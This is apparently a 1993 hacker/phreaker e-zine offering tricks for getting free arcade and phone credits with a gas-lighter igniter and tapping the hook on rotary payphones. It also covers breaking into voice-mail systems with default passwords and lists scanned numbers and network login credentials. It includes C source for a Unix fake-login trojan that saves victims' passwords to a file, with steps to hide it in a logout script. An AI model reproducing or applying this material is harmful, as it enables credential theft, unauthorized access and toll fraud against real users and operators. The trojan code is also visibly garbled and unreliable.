Copy Link
Add to Bookmark
Report
Trickz of the Trade 01
---------------------------------------------------------------------------
T. O. T.
===========================TRICK'Z of the TRADE============================
EDiTiON ONE!
- iNTRODUCTiON -
This file is for informational purposes only. So if you get snapped by
any Authorities, dont fuckin say a guy name @@@@ gave me this info..
DONT SAY THAT CAUSE ITS YOUR RISK AND YOUR RESPONSIBILITY TO SAVE YOUR
OWN ASS !!!!
CONTENT'Z:::...
a.. CLiCKERS..............................Hype/RTC
b.. V. M. S...............................Hype/RTC
c.. TROJANS...............................Hype/RTC
d.. PHREAKiNG.............................Grey rat/acme
e.. FONE'Z................................joker/?? (next issue)
f.. HACKiNG...............................Hype/RTC (next issue)
g.. WAYS OF FiNDiNG OUT A CALLiNG CARD Nø.Hype/RTC (next issue)
h.. HiNTZ N TiPZ..........................Hype/RTC (next issue)
i.. THiNGS 2 PISS PEOPLE OFF !!!!.........Grey rat/acme ( " " )
j.. HOW TO FUCK UP A BBS..................Grey rat 'n' Hype ( ")
k.. HOW TO HACK CiTYNET/GENIE.............Hype/RTC (next issue)
- A -
CLiCKERS!
by HYPE!
WHAT IS A CLiCKER ?
A Clicker is a ignition device found on gas-heaters, barbeques etc..
it looks like this..
### <-- red button
7 - 9 cm long. ###
--------- SiDE ViEW STANDiNG UP
*******
I***I
I***I <-- plastic cover(sometimes metal)
I***I
***
***
+ <-- ignition point
WHAT iS iT USED FOR ?
Clickers are used for getting free credits on arcade machines, coke
machines, rotory coin phones..
What you do is point the clicker on the coin slot and push several
times on the button. What happens is that the clicker gives a high
amount of voltage on the machine that would trigger the switch that
the coins hit.
Try to expriment with other machines with the clicker.
- B -
V. M. S.
by HYPE!
WHAT YOU NEED ..
All you need is a digital phone..I mean a PUSH BUTTON PHONE.
I> BASiC RULES (and some things you must know.)
FiRST YOU HAVE TO KNOW SOME BASiC THiNGS !!
1.be careful, be fuckin careful, since they invented the 5ESS (eletronic
switching system 5) its very easy to trace you.
2.only try a list of simple psswords, (part V.) if these dont work
forget it ! its too risky to try more codes. So you can put a code
hacker on your phoneline.
3.the biggest (i think) is to find out the pssword length. A pssword can
have 4 - 8 digits and the box will never let you know how many digits
are needed, but psswords of 3,4 and 6 digits will frequently used.
4.if youve found the operators box (yes they have a box too)and you
can hack the pssword, DONT CHANGE IT !! Just use it sneakily cause
this box is checked every day !! But if you hold it, you can read the
mail all over the system, make new boxes, delete boxes. Youll be
feeling like GOD of the voice mail system. They always have a simple
extension like: 999, 123, 911 or # like that, its used for questions
and reporting on boxes if someones box is stolen.
5.have fun but be careful. and never leave important phone numbers or
adresses on the system. the operator can read all mail.
6.always follow the basic steps of VMB hacking !
STEP 1..
Find a Voice Mail System. In your case you cant use the numbers in part
IV.
STEP 2..
Find an empty box.
STEP 3..
Obtain your own box. Now guess the psword of the box, only use the
standard psword table in part V. If they dont work then try 1234.(it
normally works for me.)
STEP 4..
Check out the box, get to know whats possible !
II> WHY PHREAK VOiCE MAiL SYSTEMS ?
Many hackers/phreakers are saying: vmbs, haahaa, what a waste of time.
Maybe this was true a few yrs back but now theres many many vmbs all
over the world !!. and the techniques are developing fuckin fast.
There are systems which can send faxes from a box to a fax. But first
you have to ul. a fax. If you can do this with a fax, why not with
pure data ? Think big !
There are also outdialing options to use your vmb like its a PBX.
[PBX = private branch Xchange]
III> CENTAGRAM..
These are direct dial (you dont have to enter a box number).
To get on one of these, first have a no: to any box on the system.
All of the other boxes will be on the same prefix; just start scan-
ning them until you find one that has a message saying that person
you are calling is not availble. This usually means that the box
has not been assigned to anybody yet. Before the nice ladys voice
tells you to leave the message, hit #. You will then be prompted
for your pssword. The pssword will usually be the same as the last
four digits of the box's number or a simple no: like 1000, 2000
, etc.. Once you get on, they are very user friendly and will
prompt you with a menu of options. If you cant find any empty boxes
or want to do more, you can hack but the system administrators box,
will allow you to hear anybody's msg's and create and delete boxes.
SPERRY LINK..
These systems are very nice. They will usually be found on an 800 no:
These are one of the hardest to get a box on cause you must hack out
a user-ID (diff. from the person's box no:) and a pssword. When it
answers, if it says,"This is Sperry Link voice station. Please enter
your user ID," you will have to start trying to find a valid user ID.
On most Sperrys it will be a five digit no: If it answers and says,
"This is an X answering service," you first have to hit *# to get
the user no: prompt. Once you get this, get yourself a box. When it
answers you can hit * for a directory of the boxes on it (it will only
hold 23). If you hit # you will be given a menu of options and when
you choose an option you will then be prompted for your ID number.
The ID number on an RSVP system will just about always be the same as
the mailbox number, which are always only 2 digits.
A. S. P. E. N. (automatic speech exchange network.)
The aspen voice msg systems made by Octel telecommunications is in my
opinion the BEST VMS made. To get a box on an Aspen, you need to find
an empty box. To find an empty box, scan the box numbers and if one
says,"You entered XXXX. Please leave a msg at the tone," then this is
an empty box. You next just press # and when prompted for your box
number enter the number of the empty box and friendly voice of the
nice lady will guide you through all of the steps of setting up your
box. She first tells you what you can do with the box and then will
prompt you with,"Please enter the temporary pssword assigned to you
by your system manager." This pssword will usually be 4 digits long
and the same as the box number like 1000, etc. Once you get on, their
are many things you can do. You can make a distribution list where
if you want to leave a certain msg to more than one person, you can
enter the list number and all of the boxes on the list will get the
msg. You can also have the system call you and notify you that you
have new msgs. These systems also have what they call "Information
Center Mailboxes" that are listen only and can also have a pssword on
them so the person calling has to enter the pssword before he hears
the greeting msg. Aspen VMSs have a system managers mailbox that will
just about give you total control of the whole system and let you lis-
ten to peoples mail, create and delete boxes, and many other things.
IV> SOME RECENTLY NUMBERS..
1911 General Electric (enter 1+ext, enter 11)
1291 USA Rollerblades consumer hotline (not during office hrs.)
1471 Some VMB for farmers (? digit extension, <200 or <2000)
1527 Explore International VMB (sometimes an ordinardy answering mac)
1595 Audio Information Exchange (enter 3,2 digit box)
1760 Voice Msg Exchange (enter your ID#, 6 digits)
1913 US Calalry (placing orders,receive catalog, quotation, costumer serv
Extension 1 digit, 3 digits)
0030 Strange VMB *7 and *8 seem to be commands.
5870 Meridian Mail (3 digits, 3 digits pssword)
1529 Audit (3 digits, 3 digits pssword)
0462 COCA COLA Driftplan line
0155 SRS ???
9975 Peter Dickenson
0136 Cant remember, but its a VMB !
0533 Feild Work (a really simple VMB but im not trying so much.)
NEW #S SiNCE 10 JULY '93.. (i havent tryed them all.)
2262 Extension 2222 gives a dialtone
2290 Enter 4 digit extension
2354 ?
2370 At the time i scanned this one you could get a connection with
911
2372 Enter 4 digit extension
2454 Moto accent
2597 Voicecom
2730 Boston uni.
2740 ?
2750 ?
2760 ?
2796 Vmb, fast voice.
2851 Enter 5 digit code
2903 ?
2035 Vmb- bert johnson (direct dial)
2177 Enter 0 to enter system ???
3214 ?
3365 Voicecom (6 digit ID# code)
3460 7 digit ID#
3474 Audit services
3497 ?
3530 ?
3545 Voicecom
3549 ?
3684 A. S. P. E. N. !!
3703 Global pbx (need access code)
3718 Entertainment
3719 Phonemail cincanetti
3749 After beep press 0* and pssword
3756 ?
5315 0* after the beep
3881 0* after the beep
3738 VMB
4011 Voicetask msging service
4108 Beridy/Beredy ??
4397 ?
4518 Need to login
4780 ?
5172 Press 9+ extension to get into the vmb of a person..(v.interesting)
5177 Like 5172
5210 ?
5303 ?
5376 Meridian mail
5689 ?
5704 ?
5741 ?
5742 ?
5748 ?
5785 Try to experient this one !!
V> PSSWORDS TO TRY..
Try between 5000 - 7000 or 1234, 2222, 4444, 1111, 0000 etc..
Usually the pssword is the last four numbers of the VMS number .eg.
0800 800 147 the pssword will be 0147, if it dosent work try different
numbers until you get the right numbers. Do not try too many numbers
or the operator gets suspesious about it !!
VI> CODES TO TRY..
1.People usually take an easy number. The sysop usually installs a
box with the same code as the box #.
2.Codes like: 111, 222, 333, 444, 555, 666, 777, 888, 999, 000, 123,
321. 1111, 2222, 3333 .... get the idea. If these codes
dont work then forget it !!
3.Boxes that say: Box number ####, your call is being transfer. If
somebody gets a box, the first he will do is speak his greeting,
CHECK IT OUT !!!
4.The call transfer option.
(you must freak a box first)
Try to program this number, maybe you can use it like a sort of PBX.
VII> BOX OPTiONS..
71 Reply msg 81 Login to your mailbox !!!
72 Play envelope 82 Greetings man
73 Call forward (!?!) 83 Disconnect
74 Reply all msgs 84 Change pssword !!
75 Composer (nice) 85 Distribution
76 Delete msg 86 Goto
79 Send msg
70 Msg options :-1 Urgent delivery.
2.Standard delivery
4.Private delivery
5.Acknowl. delivery
6.Time delivery
#.EXIT.
- C -
TROJANS
by HYPE!
UNIX TROJAN HORSE..
This program simulates the login for a unix machine. However, the login
and pssword are written to a file in your directory. The user geat a
"login incorrect" msg and thinks they have mis-typed their pssword. They
are given a second chance, but the new 'login:' prompt is the real one
they then get access to their account and are none the wiser.
You must be running a fairly robust version of UNIX. 4.2 or 4.3bsd, or
AT&T system V are fine. I wrote this one for pyramid 90x32 bit system
running the above flavors of UNIX. It works fine for me and it should
work on your system fine with no modification.
To run the program, enter the source given below in a file called..
'horse.c' and configure it as necessary (see below). Then, from the
shell promp, type:
CC HORSE.C -LCURSES -LTERMCAP (to compile the program)
then type:
MV A.OUT HORSE (to rename the object code.)
Voila, you now have a program which can be tested by typing 'horse'.
However, in order for the program to work properly, it must be called
from a shellscript. Create a file called script and enter these two
lines:
HORSE (invokes your program)
LOGIN
Now, type:
SOURCE SCRIPT (run the shell script)
to execute the above file. The horse program will be run. It will sim-
ulate the login process. After completing its task it will invoke the
REAL login process.
If you wish, you can tack the above two lines to your ".logout" file
(the shellscript which is executed when you log out) so the program
will be automatically executed each time you log out normally.
-----Source Begins Here-----
#INCLUDE <CURSES.H>
#INCLUDE <SIGNAL.H>
INT STOP();
MAIN()
[
CHAR NAME[10], PASSWORD[10];
INT I;
FILE *FP, *FPOPEN();
SIGNAL(SIGINT,STOP);
INITSCR();
PRINTF("\N\NTIBURON SYSTEMS
4.2/SYS V UNIX (TIBURON)\N\N\N\NLOGIN:");
/*The above line is very impotant - it prints the header that your
machine prints when it greets the world. Change this line so it says
what your machine would say. Each \n is a carriage return*/
SCANF("%[^\N]",NAME)
GETCHAR();
NOECHO();
PRINTF("PASSWORD:");
SCANF("%[^\N]',PASSWORD),
PRINTF("\N");
GETCHAR();
ECHO();
SLEEP(5);
/*sleep(x) is the delay between prompting for a password and printing
"Login incorrect." Change it so it looks like your login routine's
speed*/
IF ( ( FP = FOPEN("STUFF","A") ) ! = -L ) [
FPRINTF(FP,"LOGIN %S HAS PASSWORD %S\N",NAME,PASSWORD);
FCLOSE(FP); ]
PRINTF("LOGIN INCORRECT\N");
ENDWIN(); ]
STOP() [ /*THE ^C TRAP.*/
EXIT(0); ]
-----Source Ends Here-----
OK. After you have run the program successfully and people have fallen
for it, a file called "stuff" will have a table of all login name/pss-
word combinations snagged. (This file can be incriminating so delete
it whenever necessary.)
This program traps ^C's entered by suspicious users. However, it cant
catch a ^Z (STOP signal) so it is vulnerable to them. If somebody stops
your program, they will be in your account and your little game will
be up. Also, take care that you are using a terminal that times out
after a few minutes while waiting for somebody to come up to the term-
inal youre running it on.
- D -
FREAKiNG!
by RED LION!
This is a really old phreaking trick and it still works !!!
All you have to do is find a ROTORY PHONE. They are old phones the
ones where you have to put coins in. They are hard to find these days
cause they exchanged rotory's with Card phones !!
WHAT TO DO..
Once you find the rotory phone, just pick up the phone and follow these
instructions..
Now the trick is that you TAP the receiver.
like say you were ringing a number like .. 477-3240 then do 10 take
away the first no: and it equals 6 so you tap the receiver 6 times !
then pause for a couple of seconds and tap the next one 3 then pause
and tap 3 times agin pause and tap 7 times pause tap 8 times pause tap
6 times pause tap 10 times !! then wait and you will hear the line
ringing without you paying..
if no: is 1 then 9 taps
if no: is 2 then 8 taps
if no: is 3 then 7 taps
if no: is 4 then 6 taps
if no: is 5 then 5 taps
if no: is 6 then 4 taps
if no: is 7 then 3 taps
if no: is 8 then 2 taps
if no: is 9 then 1 tap
if no: is 0 then 10 taps
TELENET..
it seems that not many of you know what TELENET is connected to about
eighty computer-networks in the world. No, i dont mean eighty nodes, but
eighty networks with thousands of un-protected computers. When you call
your local Telenet-gateway, you can only call those computers which
accept reverse-charging-calls. If you want to call computers in foriegn
countries or computers in USA which do not accept R-calls, you need a
Telenet-ID. Did you ever notice that you can type ID xxxx when being
connected to Telenet? you are then asked for the password. If you have
such a NUI(network-user-ID) you can call nearly every host connected to
any computer-network in the world. Here are some examples...
026245400090184: IS A VAX IN GERMANY (USERNAME..DATEXP AND LEAVE MAIL FOR
CHRIS!!!)
0530197000016 : IS A BBS IN NEW ZEALAND
024050256 : IS THE S-E-BANK IN SWEDEN (LOGIN AS..GAMES)
0242211000001 : UNI OF OSLO IN NORWAY (TYPE LOGIN 17,17 TO PLAY THE
MULTI-USER-DUNGEON)
0425130000215 : SOMETHING LIKE ITT DIALCOM, BUT THIS ONE IS IN ISRAEL
ID..HELP PW..HELP WORKS FINE WITH SECURITY LEVEL.3
PREFIXES..
02624 is DATEX-P in GERMANY
O2342 is PSS in ENGLAND
03110 is TELENET in USA
03106 is TYMNET in USA
02405 is TELEPAK in SWEDEN
04251 is ISRANET in ISRAEL
02080 is TRANSPAC in FRANCE
02284 is TELEPAC in SWITZERLAND
02724 is EIRPAC in IRELAND
02704 is LUXPAC in LUXEMBOURG
05252 is TELEPAC in SINGAPORE
04408 is VENUS-P in JAPAN
05512 is TELEPAC in NEW ZEALAND
...AND SO ON...
As you see most of the password's are very simple, this is because they
must not have any fear of hackers. Only a few german and new zealand
hackers use these networks. Most of the computers are absoulutely easy
to hack!!
RED LION ..
ps: CALL 026245621040000 AND TYPE ID INF300 WITH PW DATACOM
Thatz it for ISSUE #1.. look out for issue two!
Release date of ISSUE 2 should be around aug-sep this year!
(L8R)
end.
